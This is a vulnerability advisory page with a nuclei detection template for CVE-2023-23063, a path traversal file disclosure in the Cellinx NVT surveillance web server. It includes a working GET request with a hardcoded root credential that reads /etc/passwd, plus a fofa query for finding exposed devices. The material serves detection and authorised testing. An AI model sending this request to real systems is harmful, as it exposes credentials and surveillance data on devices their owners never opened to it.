Cellinx NVT Web Server - Local File Disclosure

highseverity

7.5CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

Cellinx NVT v1.0.6.002b was discovered to contain a local file disclosure vulnerability via the component /cgi-bin/GetFileContent.cgi.

Impact

Unauthenticated attackers can read arbitrary files from the server through the PATH parameter in GetFileContent.cgi, potentially exposing system credentials, configuration files, and sensitive video surveillance data.

Fix

Update Cellinx NVT to a version newer than 1.0.6.002b that validates file paths in GetFileContent.cgi and restricts file access to authorized directories only.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/GetFileContent.cgi?USER=root&PWD=D1D1D1D1D1D1D1D1D1D1D1D1A2A2B0A1D1D1D1D1D1D1D1D1D1D1D1D1D1D1B8D1&PATH=/etc/passwd
Positive when: status_code == 200 and regex('root:.*:0:0:', body) and contains(header, 'TRACKID=')

Run it with nuclei: nuclei -id CVE-2023-23063 -u <target>

The full check

id: CVE-2023-23063

info:
  name: Cellinx NVT Web Server - Local File Disclosure
  author: daffainfo
  severity: high
  description: |
    Cellinx NVT v1.0.6.002b was discovered to contain a local file disclosure vulnerability via the component /cgi-bin/GetFileContent.cgi.
  impact: |
    Unauthenticated attackers can read arbitrary files from the server through the PATH parameter in GetFileContent.cgi, potentially exposing system credentials, configuration files, and sensitive video surveillance data.
  remediation: |
    Update Cellinx NVT to a version newer than 1.0.6.002b that validates file paths in GetFileContent.cgi and restricts file access to authorized directories only.
  reference:
    - https://github.com/ahmedalroky/Disclosures/tree/cellinx
    - http://nvd.nist.gov/vuln/detail/CVE-2023-23063
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-23063
    cwe-id: CWE-22
    epss-score: 0.02431
    epss-percentile: 0.84379
    cpe: cpe:2.3:a:cellinx:nvt_web_server:1.0.6.002b:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cellinx
    product: nvt_web_server
    fofa-query: body="/viewer/viewer.html" && header="lighttpd" && country="KR"
  tags: cve,cve2023,cellinx,lfi,nvt,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/GetFileContent.cgi?USER=root&PWD=D1D1D1D1D1D1D1D1D1D1D1D1A2A2B0A1D1D1D1D1D1D1D1D1D1D1D1D1D1D1B8D1&PATH=/etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "regex('root:.*:0:0:', body)"
          - "contains(header, 'TRACKID=')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from